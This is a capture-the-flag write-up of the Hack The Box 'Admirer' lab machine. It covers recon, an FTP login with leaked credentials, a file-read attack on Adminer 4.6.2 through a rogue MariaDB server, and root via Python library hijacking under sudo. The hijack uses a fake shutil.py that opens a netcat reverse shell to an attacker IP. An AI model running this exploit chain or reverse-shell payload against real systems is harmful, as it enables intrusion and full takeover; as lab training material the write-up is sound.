HTB Admirer Writeup
Writeup for HTB Admirer Box
Admirer Writeup
we start the recon with a nmap scan to look for open ports and services running on them
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
| 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
we find that there are three ports open 21 for ftp, 22 for ssh and 80 for apache web server. Opening the web server in a browser we get a static web page
taking a look at robots.txt
on the server we find a directory on the server as /admin-dir
now running gobuster inside the admin-dir
directory
┌──(codacker㉿kali)-[~/Workspace/HTB/boxes/Admirer]
└─$ gobuster dir -u http://10.10.10.187/admin-dir/ -w /usr/share/wordlists/dirb/common.txt -x txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/admin-dir/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2020/09/26 09:09:31 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/contacts.txt (Status: 200)
===============================================================
2020/09/26 09:10:37 Finished
===============================================================
vising /admin-dir/contacts.txt
we find a list of emails.
After some further enumeration we find another file in admin-dir
as credentials.txt
which contains a list of usernames and passwords
now we can login to ftp using the username and password found and download the files.
┌──(codacker㉿kali)-[~/Workspace/HTB/boxes/Admirer]
└─$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:codacker): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (6.1269 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 10.76 secs (478.2503 kB/s)
ftp>
extracting html.tar.gz
we find another directory on the web server as utility-scripts
┌──(codacker㉿kali)-[~/…/HTB/boxes/Admirer/ftp_dump]
└─$ find .
.
./w4ld0s_s3cr3t_d1r
./w4ld0s_s3cr3t_d1r/contacts.txt
./w4ld0s_s3cr3t_d1r/credentials.txt
./utility-scripts
./utility-scripts/db_admin.php
./utility-scripts/admin_tasks.php
./utility-scripts/phptest.php
./utility-scripts/info.php
...
taking a look at db_admin.php
┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$ cat db_admin.php
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$
we get a hint that an opensource database administration script might be being used on the server. Judging by the name of the box we can guess that it might be adminer.php
hence visiting http://10.10.10.187/utility-scripts/adminer.php
our theory is confirmed.
now the version of adminer.php
is 4.6.2 which is vulnerable to local file leak (https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool) and can be used to read files from the server. Now in order to login to adminer.php
we can setup a simple mariadb server using docker
┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$ sudo docker run -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 mariadb
...
2020-09-26 4:32:37 0 [Note] InnoDB: Loading buffer pool(s) from /var/lib/mysql/ib_buffer_pool
2020-09-26 4:32:37 0 [Note] InnoDB: Buffer pool(s) load completed at 200926 4:32:37
2020-09-26 4:32:37 0 [Note] Server socket created on IP: '::'.
2020-09-26 4:32:37 0 [Warning] 'proxies_priv' entry '@% root@f04dbb2d3a7c' ignored in --skip-name-resolve mode.
2020-09-26 4:32:37 0 [Note] Reading of all Master_info entries succeeded
2020-09-26 4:32:37 0 [Note] Added new Master_info '' to hash table
2020-09-26 4:32:37 0 [Note] mysqld: ready for connections.
Version: '10.5.5-MariaDB-1:10.5.5+maria~focal' socket: '/run/mysqld/mysqld.sock' port: 3306 mariadb.org binary distribution
now we can login in adminer.php
using the credentials root:root
now we can read /var/www/html/index.php
using the following sql command.
create schema lol;
use lol;
create table dmp(content varchar(5000));
load data local INFILE "/var/www/html/index.php" into table dmp lines terminated by "\n";
and the contents of index.php
are saved into lol.dump
table. There we find the password for the user waldo
as &<h5b~yK3F#{PaPB&dA}{H>
now we can login as user waldo
over ssh and get user hash.
┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$ ssh [email protected]
The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established.
ECDSA key fingerprint is SHA256:NSIaytJ0GOq4AaLY0wPFdPsnuw/wBUt2SvaCdiFM8xI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.187' (ECDSA) to the list of known hosts.
[email protected]'s password: &<h5b~yK3F#{PaPB&dA}{H>
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
waldo@admirer:~$ cat user.txt
6e6293da081153c65360d71560bcc91f
waldo@admirer:~$
running sudo -l
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$
we find that the user waldo
can run /opt/scripts/admin_tasks.sh
as user root with all the environments kept intact.
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
which on selecting 6th option runs the script /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
running python scripts as sudo can be exploited to get privilege escalation (https://rastating.github.io/privilege-escalation-via-python-library-hijacking/) as python prioritizes the import f$PYTHONPATH
environment variable location rather than its libraries, now if we create a fake [shutil.py](http://shutil.py)
in a directory /tmp/lol
with our reverse shellcode as following
#!/usr/bin/env python
import os
def make_archive(a, b, c):
print(a,b,c)
os.system("nc 10.10.14.102 9001 -e /bin/bash")
and then run admin_tasks.sh
with 6th option
waldo@admirer:/tmp/lol$ sudo -u root PYTHONPATH=/tmp/lol /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/lol$ /var/backups/html gztar /var/www/html/
we get a reverse shell as root back to us.
┌──(codacker㉿kali)-[~/Workspace/HTB/boxes/Admirer]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.102] from (UNKNOWN) [10.10.10.187] 56860
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
ebdfee8adaf558590f357887e7246619